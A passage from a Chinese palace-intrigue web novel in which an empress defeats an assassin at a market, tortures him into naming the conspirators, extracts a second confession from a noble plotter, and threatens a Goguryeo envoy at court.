用过早膳后,她依旧穿着那身已成为她肌肤一部分的黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙,?外罩一件长度及地的黑金色苏锦霞帔,?霞帔款式简洁,?仅以暗金线滚边,?与睡裙本身的华美相得益彰,?既掩去了几分睡裙的居家随意,?又未减其雍容气度。 她突发奇想,?拉着林臻的手,?声音带着罕见的娇憨?:“夫君,今日天气这般好,整日闷在宫里也无趣,不如陪我去西市逛逛可好?听说新来了些波斯的香料和琉璃器呢。” 林臻看着她眼中闪烁的、如同寻常少女期待出游般的光芒,心中软成一片,哪里会拒绝。 他深知她虽为帝王,内心深处仍存着对寻常烟火气的向往。 他微微颔首,眼中满是纵容:“好,为夫陪嫣儿去。” 他并未多言安排护卫,只因他自身便是她最坚实的屏障,而暗处,自有“夜枭”随行。 于是,一辆不起眼的青篷马车,载着帝后二人,悄然出了宫门,汇入西市熙熙攘攘的人流。 为免惊动,慕容嫣甚至将那头长及臀际的墨发简单挽起,?用一根普通的乌木簪固定,?面上也未施脂粉。 ?唯有那身无法掩盖的华美神凤降世裙与霞帔,?以及她自身那绝代的风华与气度,?使得她即便混迹于人群中,?也如明珠暗投,?难掩光辉。 西市果然热闹非凡。 叫卖声、讨价还价声、孩童嬉笑声不绝于耳,空气中混杂着各种香料、食物、皮革的气息。 慕容嫣显得兴致极高,?一手轻轻提着霞帔的前摆,?以免过长曳地,?另一只手则紧紧挽着林臻的手臂,?像个依赖夫君的小妇人。 那睡裙拖尾,?连同霞帔的下摆,?不可避免地迤逦拖行在人来人往、并不算十分洁净的市井石板路上,?墨金色的华贵锦缎沾染了尘土,?显得格外“凌乱”而醒目,?与她此刻略显兴奋的“寻常”姿态,?形成一种奇异而惊心动魄的对比。? 棉质的柔软让她行动尚算便利,但睡裙的宽大与拖尾的冗长,依旧让她在人群中显得格格不入。 “夫君夫君!你看那个胡商卖的宝石,真好看!”慕容嫣扯着林臻的袖子,?指向一个摊位,?凤眸亮晶晶的,?全然不见平日的威仪冷冽。 林臻只是默默跟着,?目光温柔地落在她身上,?偶尔顺着她指的方向看去,?微微颔首。 他高大的身形和冷峻的气质,无形中隔开了些许拥挤的人潮,为她圈出一方相对从容的空间。 “夫君,我想吃那个糖人!”她又指向一个吹糖人的老艺人。 林臻便上前,默默付钱,买下一个栩栩如生的凤凰糖人,递到她手中。 慕容嫣接过糖人,?像个小女孩般开心地舔了一口,?随即又皱起秀眉?:“太甜了…夫君你吃。” 说着,便将糖人塞回林臻手里。 林臻面不改色地接过,拿着那个与他气质极不相符的糖人,继续护在她身侧。 她又逛到一个卖钗环的摊子前,?拿起一支做工粗糙却样式新颖的珠花,?在发髻边比划着,?回头问林臻?:“夫君,好看吗?” 林臻凝视着她,?眼中是化不开的深情,?低声道?:“嫣儿戴什么都好看。” 慕容嫣嗔怪地睨了他一眼,?嘴角却忍不住上扬,?最终还是放下了那支珠花?:“罢了,做工太差,配不上我的神凤裙。” 她下意识地抚了抚身上墨金色的裙裾,?语气中带着一丝不易察觉的骄傲。 就这样,她叽叽喳喳地,?如同寻常百姓家的妻子,?挽着夫君的手臂,?在西市的人流中穿梭,?看什么都新鲜,?问个不停。 林臻始终沉默地陪伴,?守护,?有求必应。 那迤逦在地的墨金色拖尾,?如同一条流动的暗河,?在喧嚣的市井中划出一道独特而耀眼的轨迹,?引得路人纷纷侧目,?惊疑不定,?却无人敢上前打扰。 然而,这片刻的宁静与温馨,终究是短暂的。 当慕容嫣停在一个专卖海外奇珍的店铺前,?被一尊流光溢彩的琉璃盏吸引,?正弯腰仔细观看时——异变陡生! 人群中,一道黑影如同鬼魅般骤然暴起! 寒光乍现,一柄淬了毒的短剑,带着尖锐的破空声,直刺慕容嫣毫无防备的后心! 时机、角度、速度,都刁钻狠辣到了极致,显然是训练有素的死士,潜伏已久,就为这雷霆一击! 事发突然,距离极近! 周围百姓发出惊恐的尖叫! 一直沉默如山的林臻,瞳孔骤然收缩,周身杀气瞬间迸发! 他几乎本能地就要闪身挡在慕容嫣面前! 但有人比他更快! 就在毒剑即将及体的那一刹那,原本正弯腰欣赏琉璃盏、看似毫无戒备的慕容嫣,?动了?! 她的动作快得超出了肉眼捕捉的极限! 没有惊慌失措,没有闪避后退,而是顺势一个极其流畅的旋身?! 那轻盈华贵的五丈苏锦拖尾与霞帔下摆,因这迅猛至极的回旋转身,被轰然带起! 墨金色的巨幅裙摆如同被飓风卷起的凤凰之翼,携带着凌厉无匹的气势,?唰啦一声,?不仅荡开了身侧摊位上的些许杂物,?更在空气中划出了一道完美的弧线?! 随着裙摆的骤然飘起——赫然露出了里面那金线密织、在冬日阳光下璀璨夺目到令人无法直视的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间闪耀,金光流淌,仿佛有凤凰清唳之声响起! 这金光不仅耀眼,更带着一股凝练的、磅礴的力量感! “叮!” 一声极其清脆的金铁交击之声响起! 只见慕容嫣在旋转的同时,?戴着墨玉扳指的左手,?以一种玄妙难言的角度,?屈指一弹?! ?精准无比地弹在了那柄毒剑的剑脊之上?! 看似轻描淡写的一弹,却蕴含着千钧之力! 那刺客只觉得一股无可抗拒的巨力从剑身传来,虎口瞬间崩裂,短剑拿捏不住,脱手飞出,“铛啷”一声掉落在青石板上! 刺客眼中充满了难以置信的惊骇! 他万万没想到,这个穿着华丽睡裙、看似娇弱无力的女人,竟然有如此恐怖的身手! 一击不中,刺客反应也是极快,身形暴退,就要混入混乱的人群遁走。 然而,慕容嫣岂会给他机会?? 她旋身之势未竭,?右臂那宽大的喇叭袖顺势拂出,?袖中仿佛藏有暗劲,?隔着空气,?遥遥向那刺客后背一按?! “噗!” 刺客如遭重锤,身形猛地一僵,一口鲜血喷出,向前扑倒在地,再也动弹不得。 整个动作如行云流水,从遇袭到反击,再到制敌,不过电光火石之间! 她甚至没有离开原地半步! 周围死一般的寂静! 所有人都被这突如其来的一幕惊呆了! 前一秒还是叽叽喳喳逛集市的小妇人,下一秒却成了出手如电、瞬间制服刺客的绝顶高手! 这反差实在太具冲击力! 慕容嫣缓缓收势,?站定。那飘起的墨金色裙摆缓缓落下,?再次迤逦在地,?掩盖了内里的金光。 她脸上依旧没有什么表情,?只是凤眸中,?掠过一丝极淡的冷意。 她甚至没有多看地上瘫软的刺客一眼,?只是抬手,?轻轻理了理因刚才动作而微乱的霞帔领口。 直到此时,林臻才一步跨到她身边,紧紧握住她的手,上下打量,声音带着一丝不易察觉的后怕和紧绷:“嫣儿,没事吧?” 他的目光如冰刃般扫过地上刺客,杀意凛然。 慕容嫣反手握住他的手,?指尖微凉,?却带着安定人心的力量。 她抬头对他笑了笑,?那笑容瞬间驱散了方才的冷冽,?恢复了之前的娇憨,?仿佛刚才那雷霆一击只是幻觉?:“没事呀,一只烦人的苍蝇而已,不能扫了我逛铺子的兴致。” 她说着,?还弯腰捡起了刚才因为突然旋身而不小心掉在地上的、林臻给她买的那半截凤凰糖人,?看了看,?有些惋惜地撇撇嘴?:“可惜了…脏了…” 林臻见她如此,心中巨石落地,又是心疼又是好笑,接过那脏了的糖人,低声道:“无妨,回去为夫再给嫣儿买新的。” 这时,几名做寻常打扮的“夜枭”已无声无息地出现,迅速将地上瘫软的刺客拖走,清理现场,安抚受惊的百姓,动作干净利落,显然早已潜伏在侧。 经过这一番惊变,慕容嫣似乎也失了继续闲逛的兴致。 她重新挽住林臻的手臂,?将身体微微靠向他,?声音带着一丝倦意?:“夫君,我们回去吧,有点累了…” “好,我们回去。”林臻拥着她,向马车走去。 那墨金色的漫长拖尾,?再次无声地拖行在石板路上,?只是这一次,?沿途所有人,?无论是百姓还是暗中窥探的目光,?再看向那抹迤逦的墨金色时,?眼中已只剩下深深的敬畏与恐惧。 回到凤寰宫,慕容嫣踢掉鞋子,?慵懒地倒入暖榻。林臻屏退左右,?亲自端来温水为她净手。 “今日吓到夫君了吧?”慕容嫣闭着眼,?任由他伺候,?轻声问。 林臻擦干她的手,握在掌心,低声道:“是为夫疏忽了。以后……” “以后还是要出来的。”慕容嫣打断他,?睁开眼,?凤眸中闪过一丝狡黠,“躲在宫里多无趣,再说,有夫君在,朕什么都不怕。” 她说着,?主动凑上前,?在他唇上印下一个轻柔的吻。 林臻心中柔情满溢,将她紧紧拥入怀中。 第947章 早点说,免得遭罪 腊月二十四的夜幕,深沉如墨。 西市那场未遂的刺杀,如同投入静湖的石子,涟漪迅速被宫廷的力量抚平,但暗流却涌向了帝国司法的最核心——大理寺狱。 这里终年不见阳光,空气中弥漫着血腥、霉腐与绝望的气息,石壁上的火把投下摇曳的光影,将刑具的轮廓拉得狰狞扭曲。 此刻,最深处的重犯刑室内,气氛却比平日更为凝滞。 那名被慕容嫣一指弹飞、一掌重伤的刺客,被儿臂粗的铁链牢牢锁在冰冷的石墙上,浑身血迹斑斑,气息奄奄,但眼神深处,仍残留着一丝死士特有的顽固与灰败。 他早已将生死置之度外,只求速死。 然而,当刑室那扇沉重的铁门被无声地推开时,刺客那死水般的瞳孔,却骤然收缩,映入了令他终生难忘的景象,甚至暂时压过了肉体的剧痛。 先是一名身着玄色劲装、面容冷峻的男子步入,他并未携带兵刃,但周身散发的凛冽气场,让刑室内原本就肃杀的温度又骤降几分。 刺客认得他,是始终护卫在那女帝身边的林臻。 林臻只是沉默地扫了他一眼,那目光如同在看一件死物,随即侧身让开。 然后,一个身影,缓步走了进来。 就是那个身影,让刺客的呼吸瞬间停滞,浑身的血液仿佛都凝固了! 是慕容嫣! 她竟然亲自来到了这污秽不堪的大理寺狱! 而且……她竟然……依旧穿着那身在市井阳光下华美夺目,在此地幽暗火光下却显得诡异绝伦的——黑金苏锦棉质百鸟朝凤睡裙,神凤降世裙?! ?极致玄黑的苏锦底料在刑室跳跃的火光下,不再反射阳光的金辉,而是吸吮着微弱的光线,呈现出一种比黑暗更深的、仿佛能吞噬灵魂的墨色。 织入的金色棉绒与真金线,不再流淌暖光,而是泛着幽冷、沉滞的暗金光泽,如同地狱冥河表面的微弱磷火。 ?睡裙之上,那只覆盖了几乎整个袍身乃至拖尾的擎天巨凤,在这样阴森的环境下,凤羽层叠的线条不再华美,反而透出一种森然的、俯瞰蝼蚁的戾气! 凤眸上的黑钻,倒映着刑具的寒光,冰冷刺骨。 ?宽大轻盈的喇叭袖垂落身侧,袖口金线流苏在死寂的空气中纹丝不动。 她左手拇指上的墨玉扳指,在火把下泛着幽润却冰冷的光泽。 而最冲击刺客视觉的,是那长达五丈的苏锦拖尾?! 它就那样迤逦地、毫不在意地拖行在刑室冰冷、肮脏、甚至凝结着暗红血渍的石板地面上?! 华贵到极致的墨金色锦缎,与这人间炼狱般的环境形成了极致到令人心胆俱裂的对比!? 棉质的柔软本应带来温和,但在此刻,只让这身睡裙更添了一种无法言喻的、视恐怖如无物的从容,一种将极致奢华与极致残酷并置的、令人头皮发麻的悖谬感! 慕容嫣脸上没有任何表情,?既无愤怒,?也无好奇。 她步履从容,?如同漫步在自家宫廷的回廊,?缓缓走到刑室中央,?那里摆放着各种泛着寒光的刑具。 她目光淡淡地扫过那些沾满血污的铁器,?最终落在墙上的刺客身上。 林臻沉默地跟在她身侧稍后的位置,如同她的影子,目光始终不离慕容嫣左右,对周遭的恐怖景象视若无睹。 “就是你了?”慕容嫣开口了,?声音在空旷的刑室里回荡,?清冷,?平静,?听不出丝毫情绪,?却比任何咆哮更令人心悸。 刺客咬紧牙关,扭过头去,拒绝回答。 他受过最严酷的训练,早已准备好承受一切酷刑。 慕容嫣似乎并不在意他的反应。 她踱步到一张放着细长钢针的桌子前,?伸出戴着墨玉扳指的右手,?用指尖,?轻轻拈起一根。 那钢针在火光下闪烁着寒芒。 “这针用来刺指甲缝,听说很疼?”她像是自言自语,?又像是在询问,?语气平淡得如同在讨论晚膳的菜式。 刺客身体几不可察地颤抖了一下,但仍强自镇定。 慕容嫣却没有立刻用刑。 她拿着那根针,?缓步走到刺客面前,?距离近得几乎能感受到彼此的呼吸。 她的身高不及刺客,?但那份居高临下的气势,?却让被锁在墙上的刺客感觉自己如同匍匐在地的尘埃。 “你的主子是高句丽的朴永忠,还是太原的王七爷?”她轻声问,?目光平静地直视着刺客充满血丝的眼睛。 刺客瞳孔猛缩,但依旧紧闭双唇。 “不说?”慕容嫣嘴角,?极其缓慢地,?勾起一抹极淡的,?冰冷的弧度。“没关系,朕有的是时间。” 她忽然,?毫无征兆地,?猛地抬手?! ?动作快如闪电?! 那根冰冷的钢针,带着刺耳的破空声,精准无比地刺入了刺客被铁链锁住的右手大拇指的指甲缝中?! 深及指骨! “呃啊——!”一声凄厉到不似人声的惨叫,猛地从刺客喉咙里迸发出来! 剧烈的疼痛让他浑身痉挛,铁链哗啦作响! 慕容嫣却连眉毛都没动一下。 她缓缓抽出钢针,?针尖带出一缕血珠。她看着那血珠,?眼神依旧平静无波。 “现在想说了吗?”她问,?声音依旧清冷。 刺客痛得满头冷汗,牙齿咬得咯咯作响,却依旧顽固地摇头。 慕容嫣似乎叹了口气,?很轻,?仿佛有些遗憾。 她转身,?走向另一排更大型、更狰狞的刑具。 就在她转身的刹那—— 那迤逦在地、沾染了刑室污秽的五丈墨金色拖尾,因这迅猛的转身被猛地带起! 如同暗夜中绽放的死亡之花,巨幅裙摆轰然展开,?唰啦一声扫过冰冷的地面?! 随着裙摆的骤然飘起——赫然露出了里面那金线密织、在幽暗刑室中如同地狱业火般骤然迸发的“满地织金”内衬!?? 百凤朝阳的纹路在火光下璀璨夺目,金光流淌,尊贵、辉煌,却与这行刑之地、与方才那残酷的一幕形成了无比诡异、无比震撼的对比! 这金光,仿佛不是救赎,而是更深的诅咒与审判! 裙摆落下,华光被墨色与血腥吞噬。 但那一瞬间的金芒,却如同烧红的烙铁,狠狠地烫在了刺客的心上! 他之前所有的顽固、所有的死志,在这极致华美与极致残酷的并置面前,被冲击得支离破碎! 这个女人…她不是人! 她是披着华美外衣的…妖魔! 慕容嫣停在了一个烧得通红的烙铁前。 炭火盆里的火焰,映照着她毫无表情的侧脸,和那身墨金色的神凤降世裙,构成一幅令人永生难忘的恐怖画面。 她没有去拿那烙铁,?只是静静地看着。 然后,她再次回头,?看向那个精神已处于崩溃边缘的刺客。 “朕最后问一次。”她的声音,如同从九幽传来,“谁派你来的?” 刺客看着她,看着那身在地狱火焰映照下妖异无比的睡裙,看着裙摆上那只仿佛随时会扑下来将他撕碎的巨凤,最后的精神防线彻底崩溃了。 他涕泪横流,嘶声喊道:“是…是王七爷!是太原王氏!朴永忠也知道!他们…他们想让京城乱起来…让您…让您……” 他语无伦次地将所知的一切和盘托出。 慕容嫣静静地听着,?直到他说完,?才轻轻“哦”了一声。 她走回到刺客面前,?用那根沾血的钢针,?轻轻拍了拍他的脸颊,?动作带着一种令人毛骨悚然的亲昵。 “早这么乖,不就不用受苦了。”她的语气,?甚至带上了一丝诡异的温柔。 说完,她不再看瘫软如泥的刺客一眼,?随手将钢针丢在地上,?发出“铛啷”一声脆响。 她转身,?向刑室外走去。那迤逦的墨金色拖尾,?再次无情地拖过污秽的地面。 林臻紧随其后,自始至终,未发一言。 铁门缓缓关上,隔绝了刑室内的血腥与绝望。 慕容嫣走在幽暗的狱中通道里,?脚步依旧从容。 直到走出大理寺,清冷的月光洒在她身上,她才微微蹙了蹙眉,?对身边的林臻轻声说?: “夫君,这地方味道真难闻,裙子好像也沾上晦气了。” 林臻立刻上前,将她横抱而起,用自己的披风将她裹住,隔绝外界的气息。 “回去为夫给嫣儿熏香沐浴,换身干净的。” 慕容嫣顺从地依偎在他怀里,?将脸埋在他颈窝,?闷闷地“嗯”了一声,?仿佛刚才那个冷酷的行刑者只是幻影。 而在那间刑室内,侥幸活下来的刺客,蜷缩在墙角,浑身颤抖,脑海中反复回荡着那墨金色的凤影和惊鸿一瞥的金色内衬,以及那根刺入指甲的钢针。 他知道,这辈子,他都无法摆脱这个梦魇了。 第948章 去会会这位王家麒麟儿 腊月二十五,子时刚过。 凤寰宫寝殿内烛火通明,地龙烧得暖融,与外间的凛冽寒冬恍若两个世界。 慕容嫣并未安寝,?她身穿着那身黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙,?外罩一件同色曳地的黑金色苏锦霞帔,?正慵懒地斜倚在铺着白虎皮的软榻上。 榻前的紫檀木小几上,摊开放着的,正是昨夜从那名刺客口中拷问出的详细供词。 字字句句,直指太原王氏家主王珣之子,王允之,以及其与高句丽使臣朴永忠的密谋。 林臻并未穿着朝服,?亦是一身玄色常服,?坐在榻边。 他手中拿着一把小巧玲珑的玉锤,?正轻轻为慕容嫣敲打着小腿,?舒缓她日间行走的疲惫。 他的动作细致温柔,眼神却不时扫过那份供词,寒芒隐现。 ?神凤降世裙在寝殿温暖的烛光下,流淌着静谧的华光。 ?极致玄黑的苏锦底料吸吮着光线,色泽沉静如深渊,织入的金色棉绒与真金线泛着温暖的暗金波光。? 睡裙之上,那只擎天巨凤在室内敛去所有戾气,凤羽层叠,华贵雍容。? 宽大轻盈的喇叭袖一只软软垂落榻边,另一只则搭在林臻正在动作的手腕旁。 她左手拇指上的墨玉扳指,在光下温润。 而那苏锦拖尾,?连同霞帔的下摆,?并未规整铺放,?而是迤逦地、甚至有些恣意地铺满了榻前昂贵柔软的波斯地毯,?墨金色的锦缎与地毯繁复的图案交织,?在温馨的氛围中透出不容置疑的威仪。 慕容嫣的指尖戴着墨玉扳指,?无意识地轻轻划过供词上“王允之”三个字,?凤眸微眯,?看不出喜怒。 “夫君,你看这王家还真是不见棺材不掉泪。”她的声音带着一丝慵懒的沙哑,?仿佛在谈论一件无关紧要的小事。 林臻放下玉锤,握住她微凉的手,沉声道:“勾结外敌,行刺君王,罪不容诛。嫣儿打算如何处置?” 慕容嫣反手与他十指相扣,?嘴角勾起一抹极淡的、冰冷的弧度?:“如何处置?自然是请他们来喝杯茶好好聊一聊。” 她的语气轻柔,?却带着刺骨的寒意。 她话音刚落,?殿外便传来暗卫统领低沉而清晰的禀报声?:“陛下,亲王,逆臣王允之已带到,押在偏殿候审。” 效率高得惊人! 从拿到口供到实施抓捕,不过两个时辰! 可见慕容嫣对京城的掌控力已到了何等程度。 慕容嫣缓缓坐起身,?林臻立刻将一件厚厚的狐裘披风为她系上,?虽是在宫内行走,?他也生怕她受一丝寒气。 慕容嫣任由他伺候,?目光却已投向殿外沉沉的夜色,?眼神锐利如刀。 “走吧,夫君。”她轻声说,?赤足踏上早已备好的软履,“去会会这位王家麒麟儿。” 偏殿,并非大理寺狱那般阴森,但也烛火通明,陈设简洁,透着一股肃杀之气。 王允之被除去冠带,只着一身白色中衣,跪在冰冷的地板上,虽强自镇定,但苍白的脸色和微微颤抖的身体,泄露了他内心的恐惧。 他万万没想到,行动失败得如此之快,更没想到慕容嫣竟敢毫不顾忌地直接抓捕他这位王氏嫡子! 当偏殿门被推开,慕容嫣裹着狐裘,?缓步走入时,王允之抬头望去,瞬间如遭雷击! 慕容嫣竟依然穿着那身神凤降世裙?!? 只是卸去了狐裘,?那黑金色霞帔与睡裙的本体,?在偏殿更显清冷的烛火下,?散发出一种不同于寝殿的、令人心悸的华美与威严。? 墨金色的巨凤在寂静的殿宇中,仿佛随时欲择人而噬。 那长达五丈的拖尾,?毫不介意地拖行在偏殿光洁但冰冷的地板上,?发出细微的沙沙声,?在这死寂的环境中,?如同催命的符咒。 林臻依旧沉默地跟在她身侧稍后,?如同最忠诚的影子。 慕容嫣并未走向主位,?而是径直走到王允之面前,?停下脚步,?居高临下地俯视着他。 她没有说话,?只是静静地看着他,?目光平静无波,?却比任何厉声呵斥更令人胆寒。 王允之被她看得头皮发麻,冷汗浸湿了后背的中衣。他试图开口辩解,但喉咙像是被堵住一般,发不出任何声音。 那身墨金色的睡裙,如此近在咫尺,带来的压迫感远超任何龙袍朝服。 良久,慕容嫣才轻轻开口,?声音如同寒冰?:“王允之,你父亲还好吗?” 王允之浑身一颤,伏地不敢抬头。 慕容嫣却蹲下了身子?!这个动作出乎所有人意料! 她蹲在王允之面前,?与他平视,?那迤逦的墨金色拖尾在她身后铺开,?如同孔雀开屏,?却带着死亡的绚丽。 她伸出戴着墨玉扳指的右手,?用指尖,?轻轻抬起王允之的下巴,?迫使他看着自己。 “看着朕。”她的声音很轻,?却带着不容抗拒的力量,“告诉朕你们下一步打算怎么做?高句丽的兵马何时会动?你们在朝中还有哪些同党?” 王允之牙齿打颤,眼神闪烁,还想负隅顽抗:“陛下,臣不知臣是冤枉的。” 慕容嫣笑了,?那笑容美丽却残忍。 她收回手,?缓缓站起身。 然后,她对一旁的暗卫统领,?做了一个极其简单的手势。 暗卫统领会意,立刻端上一个托盘,上面放着的,不是皮鞭烙铁,而是一套细如牛毛、长短不一的银针,以及一个装着透明液体的琉璃瓶。 “王公子,”慕容嫣的语气甚至带上了一丝惋惜,“你这双手,写得一手好字,弹得一手好琴,可惜了。”她示意暗卫,“就从指尖开始吧,让他好好想想。” 暗卫领命,上前抓起王允之的手。王允之吓得魂飞魄散,拼命挣扎嘶吼:“不!陛下!臣说!臣什么都说!” 慕容嫣挥了挥手,?暗卫退后。她重新蹲下,?目光依旧平静?:“早这样不就好了?” 在极度的恐惧下,王允之如同竹筒倒豆子般,将所知的一切和盘托出。 高句丽摄政王高云已秘密调集三万精锐,陈兵鸭绿江东岸,只待太原王氏的信号,便会佯攻边境重镇“铁山城”,制造紧张局势,逼迫慕容嫣从内地调兵,从而给世家在京城制造更大的混乱空间。 同时,他们还联合了清河崔氏、范阳卢氏残部,准备在粮价再次波动时,煽动京城周边州县的流民涌入京城,制造“民变”假象 这些计划,远比之前的刺杀、纵火、断漕更为恶毒,直指社稷安危! 慕容嫣静静地听着,?脸上没有任何表情。 直到王允之说完,瘫软在地如同烂泥,她才缓缓站起身。 就在她站起身的瞬间,?似乎因为蹲踞已久,?裙摆有些牵扯,?她不经意地,?猛地一个回旋转身,?以调整姿态**?! 那迤逦在地的五丈墨金色拖尾与霞帔下摆,因这迅猛的旋转被轰然带起! 华贵的锦缎如同被惊扰的暗夜波涛,?唰啦一声,?在冰冷的地面上划出一个完美的圆弧?! 随着裙摆的骤然飘起——赫然露出了里面那金线密织、在烛光下璀璨如朝阳初升的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间迸发出夺目的金芒,照亮了偏殿的每一个角落,也照亮了王允之因极度恐惧而扭曲的面容! 这金光,不再是寝殿的温暖,而是带着洞悉一切阴谋、宣判命运的冰冷与威严! 裙摆落下,华光内敛。 慕容嫣背对着瘫软的王允之,?对林臻,?几不可察地点了点头。 林臻眼中寒光一闪,对暗卫统领示意。暗卫立刻将如同死狗般的王允之拖了下去。 慕容嫣这才转身,?看向林臻,?脸上露出一丝倦意,?轻轻靠向他?:“夫君,问出来了,真是一群不见黄河心不死的蠢货。” 林臻立刻上前拥住她,低声道:“嫣儿辛苦了。为夫即刻去安排,定不让他们得逞。” “不急,”慕容嫣在他怀里摇摇头,?声音闷闷的,“先陪朕回去,朕累了,这偏殿阴冷得很。” 林臻将她打横抱起,稳步走回寝殿。 那墨金色的漫长拖尾,?在身后迤逦,?仿佛将方才的阴谋与血腥,?都隔绝在了那片清冷之地。 回到温暖如春的寝殿,慕容嫣踢掉软履,?缩进暖榻。林臻为她盖好锦被,?坐在榻边,?轻轻拍着她的背。 “夫君,”慕容嫣闭着眼,?轻声说,“高句丽王氏该清算了。” “好。”林臻应道,声音沉稳如磐石,“一切有为夫,嫣儿安心睡吧。” 慕容嫣在他有节奏的轻拍下,?呼吸渐渐均匀。 第949章 高句丽再次派使臣来访 腊月二十六,年关的喜庆气息尚未冲散连日来的紧张氛围。 高句丽摄政王高云在得知朴永忠行动彻底失败并被软禁,连同重要的内应王允之也落入慕容嫣之手后,惊怒交加。 他既不甘心精心策划的连环计就此破产,又慑于慕容嫣展现出的雷霆手段,最终选择了一条看似强硬实则投石问路的策略。 派遣以能言善辩、精通外交辞令著称的文臣金文述为正使,率领新的使团,快马加鞭赶赴长安,名义上是“澄清误会,敦睦邦交”,实则是试图通过外交施压,要回朴永忠与王允之,挽回颜面,并试探慕容嫣的底线。 辰时,太极殿。 大朝会已散,但殿内依旧庄严肃穆。 慕容嫣并未端坐于高高的御座之上,?而是随意地坐在御阶中段铺着白虎皮的一张软榻上,?身姿慵懒,?却带着一种不容置疑的威仪。 她依旧穿着那身已成为她标志的黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙,?只是今日,?在外罩了一件形制更为庄重、绣有暗龙纹的黑金色苏锦大氅式霞帔。 ?霞帔长及脚踝,?与睡裙的拖尾融为一体,?更添几分临朝的正式感,?但睡裙本身的华美与独特依旧夺目。 林臻未着朝服,?一身玄色绣金亲王常服,?并未坐在臣僚班列,?而是直接坐在慕容嫣榻旁稍后一侧的锦墩上,?姿态闲适,?目光却如鹰隼般扫视着殿门方向。 这种逾越常规的坐次,无声地宣告着他与女帝超越君臣的亲密关系与绝对信任。 ?神凤降世裙在宏伟殿堂的光线下,呈现出一种与寝殿、刑室皆不同的磅礴气象。? 极致玄黑的苏锦底料吸吮着从高窗透入的天光,色泽沉静如渊,织入的金色棉绒与真金线则流淌着威严的暗金辉光,与大殿的金碧辉煌相互映衬,非但不显突兀,反而有种凌驾于传统规制之上的超然。 ?睡裙之上,那只擎天巨凤在庄重的场合下,凤羽层叠,尊贵威严,睥睨着脚下的疆土与臣民。?宽大轻盈的喇叭袖在霞帔下若隐若现,袖口金线流苏纹丝不动。 她左手拇指上的墨玉扳指,在御阶的光线下泛着冷冽的光泽。而那长达五丈的苏锦拖尾,?连同霞帔的下摆,?并未经过任何刻意的整理,?就那样迤逦地、甚至有些恣意地铺陈在从御榻直到殿门的汉白玉台阶之上。 墨金色的锦缎在冰冷光洁的白玉阶上,?拖拽出一道惊心动魄的、充满压迫感的痕迹,?仿佛一条墨金色的河流,?宣示着主权。 ?棉质的柔软与睡裙的舒适,让她在如此正式的场合,依然保持着一种内敛的从容与掌控感。 “宣——高句丽使臣金文述,觐见——!”内侍监悠长的唱喏声在殿中回荡。 殿门开处,一名身着高句丽高级文官礼服、年约四旬、面容白净、眼神精明的男子,手持节杖,迈着谨慎而标准的步伐走入殿中。 他身后跟着数名副使,皆低眉顺眼。金文述举止得体,按礼仪躬身行礼,声音清晰洪亮: “外臣金文述,奉我高句丽摄政王之命,参见大乾皇帝陛下,万岁万岁万万岁。”礼数周全,无可挑剔。 慕容嫣微微垂眸,?目光似有若无地落在他身上,?并未立刻叫起,?只是伸出戴着墨玉扳指的食指,?轻轻敲击着榻边的玉如意,?发出清脆的微响。 整个大殿静得可怕,只有这轻轻的敲击声回荡。 良久,她才慵懒地开口,?声音清冷,?穿透寂静?:“金使臣远道而来辛苦了。只是贵国前使朴永忠尚在朕这京城做客何以又劳烦使臣奔波一趟?” 她直接点明朴永忠,?语气平淡,?却带着无形的压力。 金文述心中一震,但面上不动声色,直起身,从容应答:“回陛下,正因朴正使久未归国,摄政王心系其安危,且恐其间或有误会,损伤两国邦交,故特遣外臣前来,一则探望朴正使,二则向陛下澄清,我高句丽始终秉持和平之心,愿与大乾永结盟好。” 他话语圆滑,将扣押说成“做客”,将阴谋说成“误会”。 “误会?”慕容嫣轻笑一声,?笑声在殿中显得格外清晰,“金使臣所指的误会,莫非是朴永忠勾结我朝逆臣行刺于朕。还是指使他散播谣言扰乱我京城安定?” 她的语气依旧平淡,?但话语内容却如惊雷,?炸响在殿中?! 金文述脸色微变,但强自镇定:“陛下明鉴!此必是宵小之辈构陷!朴正使忠心为国,断不会行此大逆不道之事!此事关乎我高句丽国体声誉,还请陛下明察,释放朴正使,以全两国之谊!” 他开始施加压力,以“国体声誉”和“两国之谊”相要挟。 “释放?”慕容嫣的嘴角,?勾起一抹冰冷的弧度。 她缓缓站起身。那迤逦在玉阶上的墨金色拖尾随着她的起身层层滑落,?发出细微的摩擦声。 她居高临下,?俯视着金文述,?声音陡然转厉?:“金文述!你当朕这太极殿是尔等可以信口雌黄之地吗?!” 这一声呵斥,如同雷霆,震得金文述不由自主地后退半步,脸色煞白。 “朴永忠罪证确凿!人赃并获!岂是你一句‘构陷’便可抹杀?!”慕容嫣凤眸含威,?步步紧逼,“至于你高句丽国体声誉,哼,纵容使臣行刺邻国君主,这便是你高句丽的国体?!与逆贼勾结,祸乱邻邦这便是你高句丽的声誉?!” 字字如刀,句句见血! 金文述被驳得哑口无言,额头渗出冷汗。 慕容嫣却不再看他,?转身,?面向殿中肃立的群臣,?但话语,?却是说给金文述听?:“朕念在昔日藩属之情,未即刻发兵问罪已是格外开恩!尔等不知感恩,竟还敢遣使来此颠倒是非妄图要挟于朕?!” 她猛地回身?!动作决绝! 那迤逦在玉阶上的五丈墨金色拖尾与霞帔因这迅猛的回转被轰然带起! 华贵的锦缎如同被激怒的凤凰之翼,?唰啦一声扫过冰冷的汉白玉台阶?! 随着裙摆的骤然飘起——赫然露出了里面那金线密织、在殿内光下璀璨夺目到令人不敢直视的“满地织金”内衬!?? 百凤朝阳、万福万寿的纹路在瞬间迸发出耀眼的金芒,尊贵、辉煌,且带着碾碎一切狂妄的绝对力量! 这惊鸿一瞥的金光,仿佛一道无形的天宪,宣示着天威不可侵犯! 裙摆落下,华光内敛于沉静的墨色。 慕容嫣重新将目光投向面如死灰的金文述,?声音冰冷,?带着最后的通牒?:“回去告诉高云朴永忠朕扣下了!王允之朕也扣下了!要想他们活命,要想高句丽平安,就给朕老老实实滚回辽东去!安分守己,朕或可既往不咎!” 她顿了顿,?语气中带上了一丝凛冽的杀意?:“若再敢有任何不轨之举,或陈兵边境或勾结内贼,就休怪朕麾下铁骑踏平尔等王庭!到时莫说朴永忠便是你高句丽宗庙朕也一并拆了!” 这番话,霸道、强势、不留丝毫余地! 完全撕碎了虚伪的外交辞令,将赤裸裸的实力威慑摆在面前! 